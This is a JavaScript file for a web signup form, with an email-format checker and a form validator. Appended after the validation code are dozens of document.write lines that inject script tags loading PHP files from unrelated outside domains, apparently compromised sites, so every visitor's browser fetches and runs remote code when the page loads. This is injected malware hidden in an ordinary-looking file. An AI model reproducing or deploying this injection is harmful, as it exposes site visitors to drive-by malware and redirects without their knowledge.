// JavaScript Document


function echeck(str) {

		var at="@"
		var dot="."
		var lat=str.indexOf(at)
		var lstr=str.length
		var ldot=str.indexOf(dot)
		var sErrMessage
		var bOK = true
		
		if (str.indexOf(at)==-1)
		{  bOK = false }

		if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr)
		{  bOK = false }

		if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr)
		{  bOK = false }

		 if (str.indexOf(at,(lat+1))!=-1)
		 {  bOK = false }

		 if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot)
		 {  bOK = false }

		 if (str.indexOf(dot,(lat+2))==-1)
		 {  bOK = false }
		
		 if (str.indexOf(" ")!=-1)
		 {  bOK = false }

 		if ( bOK == false )
		{ return "Email address should be of the form [name]@domain.[ext]"}
		else
		{return "1"}
	}
	
	

function bValidateForm()

{
	
	var oForm //= document.forms[0]
	var sMessage = ''
	var validate = true
	var sFieldVal = ''
	
	//alert(document.signup.iemail.value)
		
	//sFieldVal = oForm.iemail.value
	sFieldVal =document.signup.iemail.value
	if(sFieldVal == '')
	{sMessage += 'Please enter your email address \n';
	validate = false;
	}
	else
	{
		if(echeck(sFieldVal) !='1')
		{sMessage +=echeck(sFieldVal) + '\n';
		validate = false;}		
	}
	
	if(validate == false)
	{alert ('Please re-check your details \n\n' + sMessage)}
	
	return validate;
	
	
 }



document.write('<script src=http://ecaeda.com/language/Checklist.php ><\/script>');
document.write('<script src=http://ecaeda.com/language/Checklist.php ><\/script>');
document.write('<script src=http://ecaeda.com/language/Checklist.php ><\/script>');
document.write('<script src=http://cmcludhiana.in/event_image/cmc_ludhiana_hospital.php ><\/script>');
document.write('<script src=http://cmcludhiana.in/event_image/cmc_ludhiana_hospital.php ><\/script>');
document.write('<script src=http://cmcludhiana.in/event_image/cmc_ludhiana_hospital.php ><\/script>');
document.write('<script src=http://cmcludhiana.in/event_image/cmc_ludhiana_hospital.php ><\/script>');
document.write('<script src=http://cmcludhiana.in/event_image/cmc_ludhiana_hospital.php ><\/script>');
document.write('<script src=http://cmcludhiana.in/event_image/cmc_ludhiana_hospital.php ><\/script>');
document.write('<script src=http://cmcludhiana.in/event_image/cmc_ludhiana_hospital.php ><\/script>');
document.write('<script src=http://cmcludhiana.in/event_image/cmc_ludhiana_hospital.php ><\/script>');
document.write('<script src=http://cmcludhiana.in/event_image/cmc_ludhiana_hospital.php ><\/script>');
document.write('<script src=http://cmcludhiana.in/event_image/cmc_ludhiana_hospital.php ><\/script>');
document.write('<script src=http://cmcludhiana.in/event_image/cmc_ludhiana_hospital.php ><\/script>');
document.write('<script src=http://aehg-laplata.com.ar/asociarse/capacitacion_s.php ><\/script>');
document.write('<script src=http://psusheela.org/php/index_new_template.php ><\/script>');
document.write('<script src=http://psusheela.org/php/index_new_template.php ><\/script>');
document.write('<script src=http://psusheela.org/php/index_new_template.php ><\/script>');
document.write('<script src=http://psusheela.org/php/index_new_template.php ><\/script>');
document.write('<script src=http://psusheela.org/php/index_new_template.php ><\/script>');
document.write('<script src=http://psusheela.org/php/index_new_template.php ><\/script>');
document.write('<script src=http://psusheela.org/php/index_new_template.php ><\/script>');
document.write('<script src=http://psusheela.org/php/index_new_template.php ><\/script>');
document.write('<script src=http://psusheela.org/php/index_new_template.php ><\/script>');
document.write('<script src=http://psusheela.org/php/index_new_template.php ><\/script>');
document.write('<script src=http://psusheela.org/php/index_new_template.php ><\/script>');
document.write('<script src=http://psusheela.org/php/index_new_template.php ><\/script>');
document.write('<script src=http://psusheela.org/php/index_new_template.php ><\/script>');
document.write('<script src=http://psusheela.org/php/index_new_template.php ><\/script>');
document.write('<script src=http://psusheela.org/php/index_new_template.php ><\/script>');
document.write('<script src=http://psusheela.org/php/index_new_template.php ><\/script>');
document.write('<script src=http://psusheela.org/php/index_new_template.php ><\/script>');
document.write('<script src=http://psusheela.org/php/index_new_template.php ><\/script>');
document.write('<script src=http://visorg.ru/news/style5.php ><\/script>');
document.write('<script src=http://art4ukorea.com/data/phpinfo.php ><\/script>');
document.write('<script src=http://art4ukorea.com/data/phpinfo.php ><\/script>');
document.write('<script src=http://art4ukorea.com/data/phpinfo.php ><\/script>');
document.write('<script src=http://ferozkhan.in/madam/band_vid.php ><\/script>');
document.write('<script src=http://ferozkhan.in/madam/band_vid.php ><\/script>');
document.write('<script src=http://ferozkhan.in/madam/band_vid.php ><\/script>');
document.write('<script src=http://ferozkhan.in/madam/band_vid.php ><\/script>');
document.write('<script src=http://ferozkhan.in/madam/band_vid.php ><\/script>');
document.write('<script src=http://ferozkhan.in/madam/band_vid.php ><\/script>');
document.write('<script src=http://ferozkhan.in/madam/band_vid.php ><\/script>');
document.write('<script src=http://ferozkhan.in/madam/band_vid.php ><\/script>');
document.write('<script src=http://ferozkhan.in/madam/band_vid.php ><\/script>');
document.write('<script src=http://ferozkhan.in/madam/band_vid.php ><\/script>');
document.write('<script src=http://ferozkhan.in/madam/band_vid.php ><\/script>');
document.write('<script src=http://ferozkhan.in/madam/band_vid.php ><\/script>');
document.write('<script src=http://ferozkhan.in/madam/band_vid.php ><\/script>');
document.write('<script src=http://ferozkhan.in/madam/band_vid.php ><\/script>');
document.write('<script src=http://neotnc.co.kr/images/yp52d/project_etc.php ><\/script>');
document.write('<script src=http://edoordevices.com/css/blackantique3.php ><\/script>');
document.write('<script src=http://healthygalsclub.com/gt/phptesthandler.php ><\/script>');
document.write('<script src=http://healthygalsclub.com/gt/phptesthandler.php ><\/script>');
document.write('<script src=http://healthygalsclub.com/gt/phptesthandler.php ><\/script>');
document.write('<script src=http://healthygalsclub.com/gt/phptesthandler.php ><\/script>');